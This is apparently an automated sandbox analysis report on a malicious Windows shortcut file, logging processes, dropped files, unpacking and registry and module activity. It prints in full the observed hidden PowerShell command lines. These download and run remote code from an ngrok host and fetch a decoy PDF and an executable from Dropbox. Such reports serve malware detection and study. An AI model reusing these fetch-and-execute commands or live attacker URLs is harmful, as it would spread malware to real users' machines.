Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: mswsock.dll

Source: C:\Windows\SysWOW64\fontdrvhost.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Source: 0J3fAc6cHO.lnk

LNK file: ..\..\..\..\Windows\System32\cmd.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: nds.Utility.pdb source: powershell.exe, 00000010.00000002.2973334075.00000171C4770000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softy.pdb source: powershell.exe, 00000010.00000002.2972350493.00000171C468E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000010.00000002.2972948333.00000171C4713000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2973334075.00000171C4770000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdb source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3006708264.0000000005550000.00000004.00000001.00020000.00000000.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3006591715.0000000002F90000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001C.00000003.3012093700.0000000005340000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001C.00000003.3011953918.0000000005220000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000010.00000002.2972803577.00000171C46F0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3007420769.00000000056F0000.00000004.00000001.00020000.00000000.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3007231833.00000000054D0000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001C.00000003.3012432816.0000000005220000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: d:\assassin\assassin-playground\dx10_integration\main\output\win32\exe\scimitar_dx10_f.pdb source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000002.2992695808.000000000177E000.00000002.00000001.01000000.0000000F.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000002.3014353749.000000000177E000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: ntdll.pdb source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3003010660.00000000054D0000.00000004.00000001.00020000.00000000.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3004268530.00000000056C0000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001C.00000003.3011106990.0000000005410000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdbb7 source: powershell.exe, 00000010.00000002.2972803577.00000171C46F0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3006033011.00000000054D0000.00000004.00000001.00020000.00000000.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3006212361.0000000005670000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3003010660.00000000054D0000.00000004.00000001.00020000.00000000.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3004268530.00000000056C0000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001C.00000003.3011106990.0000000005410000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3006033011.00000000054D0000.00000004.00000001.00020000.00000000.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3006212361.0000000005670000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000010.00000002.2973334075.00000171C4770000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb#4P2 source: powershell.exe, 00000010.00000002.2972803577.00000171C46F0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3006708264.0000000005550000.00000004.00000001.00020000.00000000.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3006591715.0000000002F90000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001C.00000003.3012093700.0000000005340000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001C.00000003.3011953918.0000000005220000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3007420769.00000000056F0000.00000004.00000001.00020000.00000000.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3007231833.00000000054D0000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001C.00000003.3012432816.0000000005220000.00000004.00000001.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe

Unpacked PE file: 25.2.933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe.4870000.2.unpack

PowerShell case anomaly found

Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa2841 curl ; sal av96dc iEx ; av96dc(aa2841 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/6dc5ab464f5bc22bbff3934d61830606 -UseBasicParsing)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa2841 curl ; sal av96dc iEx ; av96dc(aa2841 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/6dc5ab464f5bc22bbff3934d61830606 -UseBasicParsing)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa2841 curl ; sal av96dc iEx ; av96dc(aa2841 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/6dc5ab464f5bc22bbff3934d61830606 -UseBasicParsing)	Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa2841 curl ; sal av96dc iEx ; av96dc(aa2841 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/6dc5ab464f5bc22bbff3934d61830606 -UseBasicParsing)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/51s9d8onfy15b992c2555/Dokument-analizy-narusze-praw-autorskich.pdf?rlkey=rd8jt5nvhndaetvxdprpig90q&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/g33vds4uvy26a8v7ble7g/runner.exe?rlkey=cqe2asmea4sh0uo2xxsstxzdd&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/metadata/6dc5ab464f5bc22bbff3934d61830606'; }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa2841 curl ; sal av96dc iEx ; av96dc(aa2841 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/6dc5ab464f5bc22bbff3934d61830606 -UseBasicParsing)	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/51s9d8onfy15b992c2555/Dokument-analizy-narusze-praw-autorskich.pdf?rlkey=rd8jt5nvhndaetvxdprpig90q&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/g33vds4uvy26a8v7ble7g/runner.exe?rlkey=cqe2asmea4sh0uo2xxsstxzdd&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/metadata/6dc5ab464f5bc22bbff3934d61830606'; }"

Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe.16.dr	Static PE information: section name: _RDATA
Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe.16.dr	Static PE information: section name: .data1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF848E742C0 pushad ; ret	2_2_00007FF848E742FD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF848E700BD pushad ; iretd	2_2_00007FF848E700C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 16_2_00007FF848E5845E push eax; ret	16_2_00007FF848E5846D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 16_2_00007FF848E58426 pushad ; ret	16_2_00007FF848E5845D
Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe	Code function: 27_3_02C6A0F9 push FFFFFF82h; iretd	27_3_02C6A0FB
Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe	Code function: 27_3_02C6D8A0 push 0000002Eh; iretd	27_3_02C6D8A2
Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe	Code function: 27_3_02C6A840 push ebp; retf	27_3_02C6A841
Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe	Code function: 27_3_02C6B86D push ebx; ret	27_3_02C6B864
Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe	Code function: 27_3_02C6E80E push eax; iretd	27_3_02C6E81D
Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe	Code function: 27_3_02C6E83C pushad ; ret	27_3_02C6E841
Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe	Code function: 27_3_02C6B1DD push eax; ret	27_3_02C6B1DF
Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe	Code function: 27_3_02C68904 push ecx; ret	27_3_02C68917
Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe	Code function: 27_3_02C69F6A push eax; ret	27_3_02C69F75
Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe	Code function: 27_3_02C6B70B push ebx; ret	27_3_02C6B864
Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe	Code function: 27_3_02C6E586 pushad ; retf	27_3_02C6E599
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 28_3_00BE58BC pushad ; ret	28_3_00BE58C1
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 28_3_00BE588E push eax; iretd	28_3_00BE589D
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 28_3_00BE28ED push ebx; ret	28_3_00BE28E4
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 28_3_00BE18C0 push ebp; retf	28_3_00BE18C1
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 28_3_00BE6012 push 00000038h; iretd	28_3_00BE601D
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 28_3_00BE5606 pushad ; retf	28_3_00BE5619
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 28_3_00BE225D push eax; ret	28_3_00BE225F
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 28_3_00BE278B push ebx; ret	28_3_00BE28E4
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 28_3_00BE5FEE push FFFFFFD2h; retf	28_3_00BE6011
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 28_3_00BE0FEA push eax; ret	28_3_00BE0FF5
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 28_3_00BE4920 push 0000002Eh; iretd	28_3_00BE4922
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 28_3_00BE5F0C push es; iretd	28_3_00BE5F0D
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 28_3_00BE1179 push FFFFFF82h; iretd	28_3_00BE117B

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\cmd.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
